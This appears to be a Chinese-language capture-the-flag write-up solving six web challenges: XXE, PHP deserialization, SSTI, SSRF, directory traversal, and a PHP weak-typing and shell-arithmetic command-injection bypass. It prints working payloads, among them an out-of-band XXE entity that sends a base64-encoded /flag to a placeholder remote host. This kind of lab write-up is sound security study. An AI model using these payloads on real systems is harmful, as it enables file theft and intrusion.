文章目录
1. exx
开局登录框,经典。直接梭哈Fuzz字典,从部分返回包中看到了DOMDocument::loadXML字样,再根据题目名称和登录请求包格式(XML格式),推测是考察XXE那一块。
尝试利用伪协议读取/flag文件,但是并没有回显文件内容。
考虑利用oob外带获取flag文件内容,POC如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://x.x.x.x:9999/?x=%file;'>">
%eval;
%exfiltrate;
监听vps相应端口后,也是成功吃到了相应数据。
2. SAS - Serializing Authentication System
炒鸡简单的一道反序列化,POC如下:
<?php
class User {
public $username;
public $password;
}
$pop = new User;
$pop -> username = 'admin';
$pop -> password = 'secure_password';
echo base64_encode(serialize($pop));
?>
输出结果如下:
3. 一个…池子?
输入什么会返回什么,应该是考察SSTI那一块,事实也如我们所想。
输入
{{7*7}}
,返回49,进行了表达式运算,SSTI实锤了。
懒得很,直接fenjing一把梭哈。
4. 浏览器也能套娃?
在套娃浏览器中的url栏输入百度域名,会返回相应的页面,考虑SSRF漏洞。
直接file协议梭哈。
5. 高亮主题(划掉)背景查看器
看样子是存在文件包含漏洞,但是按照页面提示进行传参并没啥反应。
注意到页面可以手动切换主题:Use this theme,点击该按钮后会向后端发送请求包。
配合目录穿越直接拿下!(过滤url参数关我theme什么事)
6. 百万美元的诱惑
代码如下:
<?php
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
if ($a !== $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c > 2024) {
echo "好康的";
} else {
die("干巴爹干巴爹先辈~");
}
}
else {
die("开胃小菜))");
}
老演员了,包简单的牢弟。考点是弱类型那一块,POC如下:
/?a[]=1&b[]=2&c=2025a
输出结果如下:
拼接访问:/dollar.php,跳转到如下页面。
代码如下:
<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
$x = $_GET['x'];
if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
system("cat ".$x.".php");
}
}else{
highlight_file(__FILE__);
}
?>
过滤了一堆,我们注意到system("cat ".$x.".php")
,根据提示,就只需要构造出12即可。在Linux中,我们可以使用$(())
进行数学运算。
但是不能出现数字,我们该如何破局呢?需要注意的是,$(())
是空运算,默认值是0。
可以配合按位取反符号
~
进行运算,这样得到的结果就是-1。
按照这种思路,我们能很轻易地拿到任何一个负数,譬如说要得到-2,只需要运算-1-1
即可。
如何才能得到一个正数呢?很简单,取个反就可以了。
刚好这几个字符都没被ban,按照上面的思路,就可以很轻松地构造出12,POC如下:
/dollar.php?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))